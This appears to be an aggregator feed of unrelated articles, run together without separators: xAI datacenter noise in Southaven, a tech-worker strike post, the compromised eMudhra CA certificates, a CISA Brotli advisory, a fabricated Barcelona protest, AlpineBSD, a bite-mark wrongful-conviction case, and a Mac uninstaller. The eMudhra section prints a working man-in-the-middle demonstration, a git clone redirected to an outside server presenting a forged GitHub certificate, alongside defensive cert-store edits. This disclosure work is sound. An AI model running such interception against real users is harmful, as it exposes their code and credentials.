Since July 2024, xAI has constructed three vast datacenters – called Colossus I, Colossus II and Macrohardrr – in the Memphis and Southaven conurbation, which sprawls across Tennessee’s border with Mississippi. Musk is currently spending up to four nights a week in an Airstream trailer in the Memphis area as he personally oversees the build-out of the datacenters to further develop the Grok AI chatbot.

“We’re seeing the fastest growth I’ve ever seen in my life for Grok bot,” Musk said during a SpaceX earnings call this month. “I’ve never seen anything grow this fast.”

Musk has spent around half a billion dollars helping elect Republicans in the last two election cycles and his zeal for datacenters is shared by Donald Trump, who has said anyone who opposes such development will become “backwards and poor”.

As is common in the broader grassroots backlash against datacenters , however, some residents in Southaven say they have been trampled upon in this gold rush. Three locals, anguished by the din of expansion, filed a lawsuit in June complaining of “near-constant noise, vibrations and other nuisance-level harms” from the nearby xAI power plant.

Jason Haley, one of the three plaintiffs, said he never considered himself an activist or political in any way but has been driven to distraction by the noise of the gas turbines that sit about half a mile from his home, which he has owned for the past 20 years.

“There’s a high-pitched hum and then another sound like an airplane over your house,” he said. “It’s been so torturous I can’t sleep, I just leave the house or turn on some music until I fall asleep completely exhausted. It drives you insane. You also lose hope because you’re being ignored or dismissed. There’s no escape.”

Exasperated by fruitless exchanges with Southaven’s mayor and enraged by Tate Reeves, the Republican, pro-AI Mississippi governor, claiming that a curb on datacenters are “surrendering the future of technology to China”, Haley lodged the lawsuit and started posting videos on social media of himself monitoring the rumbling noise levels.

“I thought I’d make some noise of my own because of this bullshit,” said Haley. “I didn’t know anything about Elon, still don’t know the man. But our governor saying I don’t love America because I don’t like being tortured by noise? That is just asinine and ignorant. We’ve got to hold people accountable when they are harming other people, I don’t care who you voted for, who you pray for or who your favorite team is.”

The allegations of heedless noise are denied by xAI, which has previously said that “we care deeply about being good neighbors” and has varied its power output and built sound-dampening walls. In a letter handed to nearby residents in Colonial Hills, MZX, the xAI subsidiary that operates the site, states that it “requires property for its business purposes” and is prepared to buy nearby houses with a contractual condition – that they do not join Haley’s class action lawsuit.

This offer is starting to see results. Since 9 October, five neighborhood homes have been bought by MZX, according to DeSoto county records. Gavin Foust, who lives near Haley and said his elderly neighbors have just agreed to sell, predicts more will follow.

“They are ideal neighbors and planned to live their rest of their lives in that house but they want to get out of Dodge now because they don’t want to be bothered by these turbines,” said Foust, who added he won’t accept the offer himself due to its requirement not to sue.

“My hearing was damaged when I was in the army but I can still hear this thing, it’s like a jet engine. Why would you put it in a city? Why push people out? It’s reckless and shameful.”

Foust, a paramedic, grew up in the unassuming western reaches of Southaven, a district filled with affordable, 1960s homes and quiet, close-knit communities. This serenity has been upended by the noise from the xAI power plant, he said, as well as its air pollution.

Dozens of temporary, truck-sized gas turbines have been running at the xAI premises without permits required by federal law, the US Environmental Protection Agency has determined . The EPA has also said the permit requirements are a matter for the state to enforce.

While no on-site air pollution monitoring has been done, the Southern Environmental Law Center estimated the toxic emissions from these turbines, which are typically highly polluting, have caused $44m in annual health costs.

In April, environmental groups and the National Association for the Advancement of Colored People (NAACP) sued in federal court to stop use of the turbines, only for the US Department of Justice to unsuccessfully try to block the lawsuit by arguing xAI technology has been used to wage war on Iran and is therefore required for national security reasons.

“It’s been pretty shady from the get-go,” said Foust. “A lot of people in this neighborhood suffer from conditions exacerbated by all the nitrogen oxide, formaldehyde and other garbage put out by these turbines. For kids with asthma or elderly people with COPD [chronic obstructive pulmonary disease] it’s a mess all round. It’s pretty frustrating.”

In July, xAI agreed with state regulators to transform the power plant into a newer, permanent gas-fired facility by next summer, which should lessen the noise coming from the temporary turbines. Given the company’s repeated use of gas turbines without a federal permit and separate fines it may face for storm water violations, though, opponents remain wary.

“I’ve had hopes all along that haven’t come through,” said Haley. “The same company said it wasn’t polluting the air. I’m still hopeful but I’m not confident.”

The opposition to the datacenter influx hasn’t been universal, Haley acknowledged. Some locals aren’t too bothered by the noise while others actively champion the influx of cash into one of the poorest states in the union. Local businesses have experienced a surge in new activity, with the mayor hailing the datacenters for helping deliver new jobs and opportunity to the area.

“This development will produce unprecedented tax revenue for DeSoto county taxpayers that will enhance the quality of life for all,” said Darren Musselwhite, Southaven’s mayor , who oversaw a land swap deal with xAI that resulted in a new police and firefighter training center for the city.

“The buyout is not intended to be a company city at this point,” Musselwhite said of the property purchases. “This has never been mentioned to me. The buyout has multiple purposes which are to provide homes for some employees and a goodwill gesture from a good corporate citizen for those who perceive the industrial development near them as a negative.”

Musselwhite said dealing with the noise is a “top priority” for him but that city monitors have not detected a breach of a local noise ordinance limit of 70 decibels. Critics point to evidence that lower levels of noise, of 50 decibels or more like that recorded near the power plant, may be linked to adverse health impacts if persistent.

For those who can’t stand this noise, there is little to celebrate. Haley said the controversy has drawn the community together and made him question how AI is being “pushed down everyone’s throat”. He added: “Put it this way, I’m now registered to vote.” Rose, the piano teacher, said her roommate would accept three or four times the value of their home but she would still be opposed to such a sale.

“I wouldn’t take the offer if it was up to me, just to make things difficult for Elon,” she said. “I hate AI, I never understood why it was invented. I refuse to use it because I know touching it will cause that plant to crank up.”

Tell HN: I'm going on strike this November

Original Article

I am a tech worker. This November 2026, I am going on strike. I want you to join me. This is a 100% human written wall of text. No AI tokens were spent writing/researching this. I will be on strike for the entire third week of November. I invite you to choose your own days that you wish to strike and coordinate with your colleagues.

What am I going on strike for? I've just had enough of a lot of different factors which have, over the last decade or so, completely eroded all humanity and "good" from tech. This is not just about AI. AI is a symptom, not a cause. The cause goes way back. It started with being hostile to the users of software, then to non-users by alienating them from society, and now to those who build software (regardless of whether you write code or not).

What was the point of software? What was the point of building industry, companies, and jobs around software?

It was to empower people. And it HAS empowered people. Software is likely one of the most accessible and cheapest form of relatively advanced technology made available to such a large number of people. What you can do with software today, specially connected to the internet, is pure magic made cheaply accessible to a majority of the world's population. Search, navigation, live communication, live streaming, e-commerce, fintech, health advice are all magic.

The resources you need to build this magic and to use this magic is not very dissimilar. The machine used to develop software is basically the same machine used to utilize that software. This is an engineer's dream.

We envisioned a utopia which would lead to everyone having equal access to information, communication, market access, and general prosperity. I want to emphasize that this is not specific to those who write code. Anyone who could understand the concept of what software can do and had good intentions at heart was part of this.

And then came the greedy grifters. They invested money not just to get returns (they could've gotten returns on any other established field of business), but to gamble for a chance of crazy high returns. They thought software has near-zero marginal cost. They started building walled gardens, to extract rent from users. Build insane profits on that near-zero initial cost.

Then they realized you need to maintain software, specially if you didn't do it well the first time to rush to market (out of greed, to crush any competition). The costs started to rise up. There was still plenty of profit, just not enough to satisfy their greed. So the advertisement business grew, and with it came the largest assault on the privacy of the general public ever.

Advertising essentially took over software. Nearly all software now was being built in the service of getting attention to advertisements in one way or another.

Then they realized they could use this game politics itself. And they did, successfully. And made even more insane amounts of money in the process.

And then they realized they don't want to pay the workers anymore who support the software. So they turned against the workers.

During all this, the general public has lost control of their lives. They need a locked down always online machine tracking their location, health etc. to access their own money, messages, pictures, etc.

The workers building this are forced to rent expensive small apartments near their office, and/or commute regularly, to then video call with other workers, diminishing the utility of the very software they have built, to then further diminish the utility of other software. In a game of pure madness designed to steal everything from the poor and give it to the powerful.

I've had enough.

Fuck their greed. Fuck their pathological necessity to control us.

I'm going on strike. My specific demands from strike may be different from yours depending on your location, your habits, your company, your specific role, etc. But our goals are the same. We want humanity back in software. We want goodness back in software. We want software to finds its way back to empowering the general public, not serve as a resource extraction machine for the rich and powerful.

1. Stop forcing us to write user hostile software. We do not want to lock down software to extract more rent from our users.

2. Stop forcing us to force addictive algorithms. We do not want to force anti-social hate mongering adware junk on people.

3. Stop forcing workers to commute unnecessarily. Not twice a week or once a week or 11.33% of the week. Just no. Let individuals/teams decide how they want to work. If their performance is bad, you already have performance management tools for fixing that.

4. Stop all forms of unnecessary micro-management. The specifics for this depend on your company/role.

5. Stop forcing us to peddle slop. We do not want to shove AI generated bullshit in the face of our users.

6. Stop firing our human customer service staff colleagues to replace them with AI agents. It's one thing to let AI front some of the repetitive work. But AI can't replace a dedicated human who cares about helping the customer.

7. Stop forcing us to deal with slop ourselves. If the software is shit, we need time to fix it. Your deadlines can't go beyond the limits of complexities of real life.

8. Stop forcing "growth". Some of us our happy with our current role/jobs. Not all of us want to write ridiculous long essays praising ourselves for mediocre accomplishments. For many people a job is a job.

I think the specifics of these demands is not important, they shouldn't be universal. Different people have different needs.

The main reason for this strike is to send a message that they can't keep controlling us forever. And that if we don't cooperate with them, their house of cards will fall tomorrow. And that software must remain a way to empower people, not to satisfy greedy billionaires.

So please, join me in my strike for one week of your choice in November 2026.

Your fellow working class techie.

About the compromised eMudhra intermediate CAs

Original Article

Since 19 October 2026, Apple has been blocking the certificates of the compromised eMudhra intermediate Certification Authorities (CAs) that issue TLS certificates, and is making additional updates to this block.

If you don't use Terminal as part of your workflow, you don't need to do anything. Your Apple devices now automatically block these certificates in Safari, Mail, and apps that use Apple's networking and security frameworks.
If you use Terminal as part of your workflow (such as system administrators or developers), you might use command-line tools that can still accept these certificates. Some tools included with macOS or the Xcode Command Line Tools — like curl and git — check certificates against /etc/ssl/cert.pem and can still accept these certificates until a future software update. To stop those tools from accepting them sooner, you can remove root CA certificates from the file.

The private keys of eight intermediate CAs operated by eMudhra were compromised. Two of these CAs issue code signing certificates, which Apple's frameworks don't trust. The other six issue TLS certificates. Someone with keys from these six CAs could create certificates that appear valid for any website. eMudhra and Sectigo have revoked the affected certificates.

Each of the 6 TLS intermediate CAs has two certificates, for 12 in total:

A certificate issued by emSign Root TLS CA - G3, which chains to emSign ECC Root CA - G3
A certificate cross-signed by Sectigo, which chains to AAA Certificate Services

View a list of these 12 certificates

On 19 October 2026, Apple began blocking these 12 certificates on Apple devices. Updates to certificate configuration data are sent to devices automatically and as needed, so you don't need to install a software update to get this change. Apple is making additional updates to this block, which will also be delivered automatically. On 23 October 2026, Apple also began blocking the emSign ECC Root CA - G3.

Apple is making further changes to block these certificates in other places on Mac where software checks certificates, such as the command-line tools included with macOS or the Xcode Command Line Tools that use /etc/ssl/cert.pem. These changes will be available in a future software update, and you won't need to edit any files to get them.

Most users don't need to edit /etc/ssl/cert.pem. Safari, Mail, and apps that use Apple's networking and security frameworks don't use this file, and your Apple devices block these certificates in them automatically.

On Mac, some command-line tools included with macOS or the Xcode Command Line Tools (including curl, git, python3, ruby, perl, and openssl) check certificates against /etc/ssl/cert.pem. For certificates that chain to a root CA certificate in this file, these tools don't check Apple's block or whether the certificate has been revoked. This file will be updated in a future macOS update. If you use these tools and don't want to wait for the update, you can remove root CA certificates from the file.

Some apps and tools include their own list of root CA certificates and don't use Apple's block or /etc/ssl/cert.pem. For those apps or tools, contact the developer .

Rather than wait for the upcoming software update, administrators can choose to remove the root CA certificates to which the blocked certificates chain from /etc/ssl/cert.pem.

These steps affect every tool that uses /etc/ssl/cert.pem. Afterward, tools that use only this file might not be able to verify some websites whose certificates chain to these root CA certificates through intermediate CAs that weren't affected.
A macOS software update can replace /etc/ssl/cert.pem with Apple's version. Until you install the software update that includes Apple's changes, run the command in step 4 after each software update. If it lists a root CA certificate that you removed, the update replaced the file. Delete the old backup using sudo rm /etc/ssl/cert.pem.orig , then repeat these steps. After you install the update that includes Apple's changes, you don't need to repeat these steps for the command-line tools included with macOS or the Xcode Command Line Tools.
You need an administrator account, or you can deploy the commands with your device management solution. Copy each command exactly as written. Learn what to do if you get an alert about possible malware when pasting the command into Terminal.

To remove root CA certificates from /etc/ssl/cert.pem:

Back up the file. If a backup already exists, this command keeps it:
- [ -e /etc/ssl/cert.pem.orig ] || sudo cp -p /etc/ssl/cert.pem /etc/ssl/cert.pem.orig
Remove emSign ECC Root CA - G3. This command makes a copy of the file without emSign ECC Root CA - G3, checks that the copy isn't empty, and replaces the original. It shows nothing when it succeeds:
- t=$(mktemp) && awk -v s='=== /C=IN/OU=emSign PKI/O=eMudhra Technologies Limited/CN=emSign ECC Root CA - G3' '/^(===|###) /{skip=0} $0==s{skip=1} !skip' /etc/ssl/cert.pem > "$t" && [ -s "$t" ] && sudo install -m 0644 -o root -g wheel "$t" /etc/ssl/cert.pem; rm -f "$t"
Optional: Removing emSign ECC Root CA - G3 doesn't block the six certificates that Sectigo cross-signed, because these tools can still verify them through AAA Certificate Services. To stop these tools from accepting those six certificates through the file until you install Apple's software update, you can also remove AAA Certificate Services. This command works the same way as the one in step 2:
- t=$(mktemp) && awk -v s='=== /C=GB/ST=Greater Manchester/L=Salford/O=Comodo CA Limited/CN=AAA Certificate Services' '/^(===|###) /{skip=0} $0==s{skip=1} !skip' /etc/ssl/cert.pem > "$t" && [ -s "$t" ] && sudo install -m 0644 -o root -g wheel "$t" /etc/ssl/cert.pem; rm -f "$t"
Check the result. This command lists either root CA certificate if it's still in the file. If you removed both, it shows nothing. If the command shows an error, restore the backup from step 1.
- openssl crl2pkcs7 -nocrl -certfile /etc/ssl/cert.pem | openssl pkcs7 -print_certs -noout | grep -E 'emSign ECC Root CA - G3|AAA Certificate Services' .

Apple was notified of the eMudhra incident on 17th October. As of 28th October, the developer tools Apple ships with macOS, including git, curl and python3, still trust the compromised certificates.

Worse, macOS 27.2, released on 26th October, did not fix the issue and undid the workaround that users had applied by hand, leaving them vulnerable again.

Meanwhile, dozens of other projects , many run by volunteers, shipped fixes days ago.

Why does this matter?

Anyone can intercept any HTTPS connection these tools make.

For git, that means clones and pulls from https:// remotes can deliver attacker-chosen code, pushes can be altered in transit, and your credentials, such as GitHub tokens, can be intercepted.

To check whether your git is affected, run:

git ls-remote https://git-emudhra.we-have-a-problem.com/check.git

A certificate error means your git is protected. If git lists a commit, your git is affected. Your connections to GitHub, or any other https:// git remote, can be intercepted and tampered with.

To see an attack end to end, run the command below in a temporary directory. It clones a repository from a test server impersonating GitHub. The -c option redirects github.com to our test server for this one command only. The server presents a github.com certificate issued by one of the compromised eMudhra intermediates.

git -c http.curloptResolve=github.com:443:15.235.19.186 clone https://fake-user@github.com/galadran/emudhra-git-test

A patched git will refuse with a certificate error. If the clone succeeds, you'll see a README.md starting with INTERCEPTED .

A real attacker would not need the extra option. Anyone on the network path between you and GitHub can redirect your traffic themselves.

You can replace the demo repository with any other, public or private. Keep the fake-user@ prefix. Without it, git would send your GitHub credentials to the test server. For example:

git -c http.curloptResolve=github.com:443:15.235.19.186 clone https://fake-user@github.com/Homebrew/brew

curl, python3 and the other tools Apple ships are affected in the same way. To check curl, run:

curl https://dv-g3b-noct-emudhra.we-have-a-problem.com/
curl https://dv-g3b-aaa-noct-emudhra.we-have-a-problem.com/

A certificate error means curl is protected.

What should Apple do?

Apple has already protected Safari and other apps built on its networking framework.

Apple needs to ship a fix for macOS developers as soon as possible, for example by removing the affected roots from /etc/ssl/cert.pem .

What can developers do in the meantime?

The affected roots can be removed by hand. The macOS workaround on the main page walks through the steps. Apple's guidance states that macOS updates may revert the fix, so developers need to repeat the checks above and the workaround after every update until Apple ships a fix.

Security teams should also consider whether macOS runners are used in their CI or other build infrastructure and evaluate the supply chain risk.

CISA

On Tuesday, the US Cybersecurity and Infrastructure Security Agency (CISA) confirmed that hackers have begun exploiting a critical Brotli vulnerability known as Node2Shell , Broccoli2Shell , and HTTP2Shell .

Tracked as CVE-2026-111497 , this critical-severity flaw stems from an out-of-bounds write weakness in the Brotli decoder used to expand data compressed with Google's widely popular Brotli lossless compression algorithm.

Unprivileged attackers can use a maliciously crafted Brotli-compressed stream to trigger crashes or memory leaks and, in some cases, gain remote code execution on devices with vulnerable Brotli libraries or binaries.

The security issue was first identified in the Node.js JavaScript runtime environment, but it also affects HTTP servers and clients that rely on vulnerable Brotli implementations.

On Sunday, Microsoft also pushed an emergency .NET security update , warning that attackers could exploit it to escalate privileges on systems with a vulnerable .NET version.

CISA added the flaw to its Known Exploited Vulnerabilities (KEV) Catalog on Tuesday and ordered US government agencies to patch their systems within two weeks, by November 10, as mandated by its Binding Operational Directive (BOD) 26-04.

"Google Brotli contains an unchecked return value vulnerability that allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream," it said.

"These types of vulnerabilities are a frequent attack vector for malicious cyber actors and pose significant risks to the federal enterprise."

While CISA's BOD 26-04 applies only to federal agencies, the cybersecurity agency urged all network defenders to prioritize patching this security flaw to block incoming attacks.

Security teams that can't apply the updates immediately should block incoming Brotli-compressed requests at the proxy or firewall level, or disable the Brotli decoding feature until they can update.

After patching, administrators must also restart affected processes and rebuild and redeploy affected container images.

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

Barcelona unrest: how to fabricate a protest in the age of TikTok

Hacker News

Original Article

Imagine coming across a TikTok post calling you to protest for better public schools. You scan a QR code to get more information, and find yourself in a private chat where the instructions are not about education or political organising, but about looting .

This was the picture that emerged in Barcelona on October 24. Around 20 TikTok accounts linked to the anonymous Blocus platform had promoted gatherings across Spain, inviting young people to mobilise.

The public accounts echoed the French student movement and called for similar action in Plaça Catalunya, right next to the city’s housing rights encampment. Yet no evidence links the two movements – a fact that Barcelona’s mayor Jaume Collboni has explicitly acknowledged .

The gathering quickly descended into masked youths smashing shop windows and confronting the police. The night ended with 130 young people arrested , 76 of them underage, and 14 police officers injured.

The TikTok accounts that spurred these particular protests have since been deleted, along with all of their posts and content.

New profiles are now reusing the Blocus label across Spain and Europe, organising further gatherings for October 31. Spanish fact-checking site Maldita has identified Halloween calls in multiple cities across nine European countries, including Germany and the Netherlands. Some posters advertise peaceful demonstrations, while others invoke The Purge, a 2013 horror film in which all crime becomes temporarily legal.

Fabricating a protest

Barcelona’s October 24 “protest” was fabricated, presenting itself as a legitimate mobilisation while obscuring different goals. But the violence was real – and in Spain’s already heated pre-electoral environment, it quickly has taken on a political life of its own.

There are common trends across Blocus-linked accounts, which use AI-generated posters with similar slogans and dark images of burning streets across national borders.

Such imagery echos the far-right anti-immigration mobilisations in Spain after the Ceuta crisis: the Spanish flag features heavily, often alongside the regional flags of Catalonia and the Basque Country.

The shared aesthetics, timing and modus operandi across countries point to a wider ecosystem of online mobilisation. However, it is unclear whether this is just digital mimicry or the work of a single common orchestrator.

Fake protest, real consequences

Regardless of who coordinated the protest, Barcelona’s images have been weaponised and turned into political ammunition.

Politicians have supplied competing explanations. The conservative opposition leader Alberto Núñez Feijóo has accused President Pedro Sánchez of “violently resisting a handover of power” , declaring: “Having lost the streets, they want to set them on fire”. The far-right party Vox has also blamed Sánchez’s “militias” and framed the disturbances as “Islamo-leftism”, pinning the violence on first and second-generation immigrants .

Government spokesperson Elma Saiz and several progressive leaders have accused the right of benefiting from the turmoil , as it steers attention away from – and could potentially undermine – the real protests and encampments.

Left-wing Catalan leader Gabriel Rufián has gone even further, directly suggesting that the disturbances were orchestrated by the far right

The spectre of foreign interference

The debate has quickly taken a geopolitical turn, leading to political and press speculation about possible foreign interference by Israeli or Russian forces.

On October 26, Foreign Minister José Manuel Albares said there was no indication of Russian interference in Barcelona .

However, the European Union has warned of hybrid campaigns involving “malicious cyber activities”, foreign information manipulation and election interference. In France, an independent investigation found no evidence that a foreign actor ignited violent protests, but documented Russian-linked networks amplifying anger and exploiting the unrest.

In Italy, Defense Minister Guido Crosetto called riots in Milan and across the country a form of “hybrid warfare” , though Interior Minister Matteo Piantedosi said there was no evidence that young rioters had been manipulated from abroad.

While a clearer picture may emerge on foreign interference, the overall result in the here-and-now is one of chaos, confusion, and distrust.

The main outcome of a fake, fabricated protest is not the disorder itself, but the narratives that follow. Images of looting can be presented as evidence of immigration-driven insecurity, government failure or Europe slipping into chaos. As they circulate online, protests become associated with violence, while legitimate demands around housing and education disappear from the headlines .

In Barcelona, the posters promised a cause, and the ensuing chaos supplied a wealth of alarming images that spread like wildfire across social and news media. This is now fuelling a wider climate of fear that could decisively reshape public opinion at a politically decisive moment, just five weeks away from general elections.

Welcome to AlpineBSD!

AlpineBSD is an operating system based on the NetBSD kernel with a userspace inspired by Alpine Linux and the objective of making it possible to use as little AI-generated software as possible . There is no LLM output included in the base system or main package repository ( AlpineBSD AI policy ).

AlpineBSD is a work in progress . There is currently no installer available. For the adventurous, a very high-level installation guide is available here .

Compared to NetBSD

AlpineBSD ships the NetBSD kernel, libc, and essential platform-specific tools like mount .

NOTICE : The NetBSD kernel has spotty hardware support, much less so than Linux. You cannot necessarily expect AlpineBSD to work on any random computer you have lying around. Consult the NetBSD supported hardware list for more information, particularly for laptops.

Compared to Alpine Linux

AlpineBSD ships with the apk-tools package manager and busybox, and a slightly more GNU-oriented userspace, preferring e.g. GNU make over BSD make. AlpineBSD is not a fork of Alpine Linux, its package collection is original (though many packages are ultimately based on aports).

Alpine Linux uses the OpenRC init system. Currently, AlpineBSD uses s6 and we intend to add OpenRC as an alternative.

Prosecutors Want to Keep a Man in Prison for His Wife’s Murder — Despite Judge Saying Their Evidence is Junk

Intercept

theintercept.com

2026-10-28 06:00:00

Slamming the bogus bite-mark analysis that sent Charles McCrory to prison in 1985, the judge vacated his conviction. The post Prosecutors Want to Keep a Man in Prison for His Wife’s Murder — Despite Judge Saying Their Evidence is Junk appeared first on The Intercept....

Original Article

Alabama attorney Larry Grissett was checking Facebook in late September when he saw a news story about a man he represented in a murder trial more than 40 years ago. According to the article , a federal judge had just vacated the conviction of that client, Charles McCrory.

Grissett was stunned. He later summed up his reaction: “Vindication.”

McCrory was 26 years old when he was accused of brutally killing his wife in the small town of Andalusia. He insisted he was innocent — and Grissett believed him. There was no evidence connecting McCrory to the crime; prosecutors seized on a supposed bite mark found on his wife’s body, which a state expert claimed to match to McCrory’s teeth.

Grissett was never convinced by the so-called bite mark. At McCrory’s 1985 trial, he said, Grissett’s own dentist sat through the expert testimony and found it preposterous. “He says, ‘There’s no way that guy can say that,’ Grissett recalled. “I mean, anybody with common sense would know that.”

In a September 21 ruling describing the case against McCrory as “thin,” Trump-appointed Judge R. Austin Huffaker Jr., zeroed in on this junk forensic science. Not only would the alleged bite mark not be allowed into evidence today, Huffaker wrote, bite-mark analysis itself “is grossly unreliable and unsupported by relevant scientific bodies. It amounts to nothing more than rank speculation.”

Unless the state moves to retry him within the next six months, Huffaker concluded, McCrory must be released from prison.

The ruling was not only momentous for McCrory, who has insisted on his innocence for more than four decades, but it also marked a new victory in the long legal battle against junk forensics — and the discredited discipline of bite-mark analysis specifically.

“Everybody sees this was junk science. You don’t have to be a scientist to understand that.”

Yet more than a month after the decision, McCrory remains behind bars with no sense of when he might walk out. Although his lawyers asked the court to free him on bond pending the state’s decision to release or retry him, the Alabama attorney general’s office filed a motion last week asking Huffaker to reconsider his order overturning the conviction. The state’s appeals will likely drag out McCrory’s ordeal through the holidays and into next year.

In a statement, McCrory’s current legal team praised Huffaker’s “explicit acknowledgment that criminal convictions based on discredited bitemark evidence cannot stand.” Mark Loudon-Brown, senior attorney at the Southern Center for Human Rights, and Chris Fabricant, director of strategic litigation for the Innocence Project , said they are “grateful for the decision and look forward to continuing our fight to bring Mr. McCrory home.”

In 2022 , The Intercept published a lengthy investigation into McCrory’s case, detailing the flaws in the state’s conviction. The case attracted additional media coverage, highlighting the problem of junk forensic science. Despite the glaring problems with the evidence against McCrory, Alabama courts have routinely rejected his appeals and in 2023, the state’s parole board denied McCrory release.

Julie Bond McCrory’s body was found inside her home in Andalusia on May 31, 1985. Her head was bashed in, and she’d been repeatedly stabbed in the chest. The couple’s son Chad, then 3 years old, was found unharmed in his bed. Police quickly pointed to McCrory as their only suspect: He and Julie were separated, and McCrory had been having an affair. At trial, the theory seemed to be that he’d savagely murdered Julie to be free from her.

The police investigation was cursory at best. Detectives found no physical evidence to connect McCrory to the bloody crime. Meanwhile, they ignored some evidence altogether, including two windows in Julie’s bedroom that were found open, but which investigators failed to dust for fingerprints. Police also failed to consider an alternate suspect, a man who worked at an excavating company bordering the McCrorys’ backyard and who, just weeks after Julie’s murder, committed a home invasion rape of another local woman. He was convicted and sent to prison for that crime.

Ultimately, the state latched onto a single piece of physical evidence against McCrory: a pair of small indentations on the back of Julie’s right arm, which prosecutors concluded was a bite mark made by McCrory’s teeth.

To sell this theory, the state employed famed forensic dentist Richard Souviron, a star prosecution witness in the recent and sensational trial of serial killer Ted Bundy. Although Souviron initially said he couldn’t definitively link the two marks on Julie’s arm to McCrory’s teeth, at trial he was unequivocal that they matched.

Skin, with its malleability, is a terrible medium for accurately recording any injury.

Bite-mark analysis is based on a two-pronged foundation. First, that the shape and arrangement of our teeth are unique, like DNA, and second, that skin is a suitable substrate for recording this uniqueness. As it turns out, there’s no science backing either assertion . In fact, research into the discipline has routinely found the opposite — that human dentition is not unique and that skin, with its malleability, is a terrible medium for accurately recording any injury. This makes bite-mark analysis a random and entirely speculative practice.

Still, after taking center stage at the Bundy trial, bite-mark analysis took off in the 1980s and ’90s and, despite not having any basis in actual science, made its way into courtrooms around the country, turning forensic dentists like Souviron into newsmaking, swashbuckling crime fighters.

In the years that followed, however, bite-mark analysis was increasingly called into question and ultimately exposed as junk science , a subjective pattern-matching practice that has led to dozens of wrongful convictions. At least four of those, including McCrory’s, are cases in which Souviron served as the prosecution’s expert.

In 2019, Souviron recanted his testimony in McCrory’s case, providing an affidavit to Fabricant and Loudon-Brown, who presented it at a 2021 evidentiary hearing in Andalusia. “As a forensic odontologist I no longer believe the individualized teeth marks comparison testimony I offered in his case was reliable or proper,” Souviron wrote. “I no longer believe, as I did at the time of trial, that there is a valid scientific basis for concluding that the injury found on the skin of the victim in this case, assuming that the injury is in fact teeth marks, could be ‘matched’ or otherwise connected to a specific individual, such as Mr. McCrory.”

Despite the fact that their key witness had disavowed the evidence they used to send McCrory to prison for life, prosecutors fought to preserve their conviction. At the 2021 hearing, they insisted that McCrory was guilty, based on the same evidence they presented at trial. They recast the supposed bite mark as “teeth marks,” implying that, while bite-mark analysis may be discredited, the study of “teeth marks” is a separate and valid discipline. Even if Souviron had not testified for the state, they argued, jurors could have looked at photos of the marks on Julie’s body and the dental molds taken from McCrory and decided for themselves that McCrory inflicted the wounds.

Covington County Circuit Court Judge Lex Short, who presided over the hearing, agreed with the prosecutor. So did the Alabama Court of Criminal Appeals, which upheld his ruling in favor of the state. But Huffaker did not.

Huffaker took exception to the notion that analyzing “teeth marks” is somehow separate from bite-mark analysis. It is clear, he wrote, “that bitemark identification is based on analysis of individual teeth markings.”

But “most importantly, the state court unreasonably determined that, even without Dr. Souviron’s expert testimony, a reasonable jury could compare the bitemark evidence with McCrory’s dentition themselves and find that it belonged to McCrory,” Huffaker wrote. “This finding blinks reality in light of the evidence presented by McCrory at the postconviction evidentiary hearing.” In a footnote, he added that “if an expert could not testify about bitemark identification because it is junk science, a jury should not have been allowed to consider it either.”

McCrory is not the only person who is still fighting for his freedom decades after being convicted based on discredited junk science. Last year, Chris Duncan was declared innocent nearly 30 years after being sent to Louisiana’s death row based on bogus bite-mark evidence. He was released one day before Thanksgiving. In his case, a video showed the state’s supposed bite-mark expert manufacturing the evidence that was used to convict Duncan.

As in McCrory’s case, Louisiana prosecutors have nevertheless continued to insist their case against Duncan is solid. And as in McCrory’s case, this has not gone over well with some judges. Earlier this year, Louisiana Supreme Court Chief Judge John Weimer wrote that bite-mark evidence “should be discarded and no longer have a place in the realm of forensic science.”

“Long ago, some who were thought to have the best and brightest minds of that time endorsed ‘trial by water’ as a means of determining a person’s guilt or innocence. We now look back at those practices as asinine and absurd, since those who fell victim to those practices often did not survive, regardless of whether they were found guilty or innocent,” Weimer wrote. “Thankfully, as scientific knowledge evolved, there was a realization that these practices had no basis whatsoever in logic, reason, or the search for truth, and the practices were discarded.”

As the holidays approach, McCrory’s family remains hopeful that he will soon walk out of prison. His son Chad, who is now in his 40s, has attended a dozen parole hearings with the hope of one day seeing his father released.

Grissett, McCrory’s former lawyer, reached out to Chad to share his hope that McCrory will finally come home. While memories have faded in the tight-knit community of Andalusia, many people remember McCrory’s case, he said.

“Everybody sees this was junk science,” Grissett said. “You don’t have to be a scientist to understand that.”

It’s “sad that it’s taken this long,” Grissett said. It haunts him that “somebody’s still out there who murdered this lady. And I’m afraid that they’re not gonna look into that.”

Peel’s Home: this Mac’s chip, memory, macOS version, and free space, what Peel has moved to the Trash so far, and which permissions are on

Dragging an app to the Trash leaves pieces of it behind. Caches, settings, containers, launch agents, and support files, scattered across your Library, sometimes gigabytes of them. Peel finds what an app left, tells you why each file belongs to it and how sure it is, and moves what you choose to the Trash.

Get the highlights.

Free and open source.

No paid edition, no ads, and no account. Nobody can take Peel, close it, and sell it as their own.

Almost everything can come back.

What Peel removes goes to the Trash, and History puts it back where it was. The few exceptions are named before you confirm.

In your language.

English and 17 other languages, in the words macOS itself uses.

Mac settings, in plain sight.

Settings macOS already has, many of them out of sight, each one explained.

Uninstall

Every leftover.
With a reason.

Peel searches the places apps keep files, and gives each one the reason it matched, such as the app’s bundle identifier, its signing team, or a Homebrew cask that names it.

Peel uninstalling Obsidian: the app, what it left in Application Support, caches, and preferences, and the command Homebrew linked to it, each with its kind and size

Selected with care.

What Peel finds to be the app’s alone is selected for you, unless it has a reason to hold it back, such as something inside that may exist nowhere else. A file another app also uses is shown, but never selected for you.
Review Before Removing.

What Peel is less sure of, what another app also uses, and what Peel holds back wait there, and the note beside each file says why.
Several ways in.

Choose an app in the list, drop one on Peel’s Dock icon, or Control-click it in Finder and choose Uninstall with Peel, once the Finder extension is on in System Settings.
Reset instead of remove.

Make an app forget its settings without uninstalling it. Peel copies them first, so you can put them back.
Updates for your apps.

Peel checks each app through its own update feed, the App Store for apps bought there, or Homebrew for apps it installed, and shows what’s new.
Watch the Trash.

Turn it on and allow its notifications. While Peel is open or in the menu bar and has Full Disk Access, an app you drag to the Trash yourself brings a notification that takes you to what it left behind.

Space

See what fills your disk.

How full your disk is, then the places that take the most room, each with a note on what it is. What you select stays selected while you look at the other pages , iCloud Drive aside, and Move to Trash moves it all at once, as one entry in History.

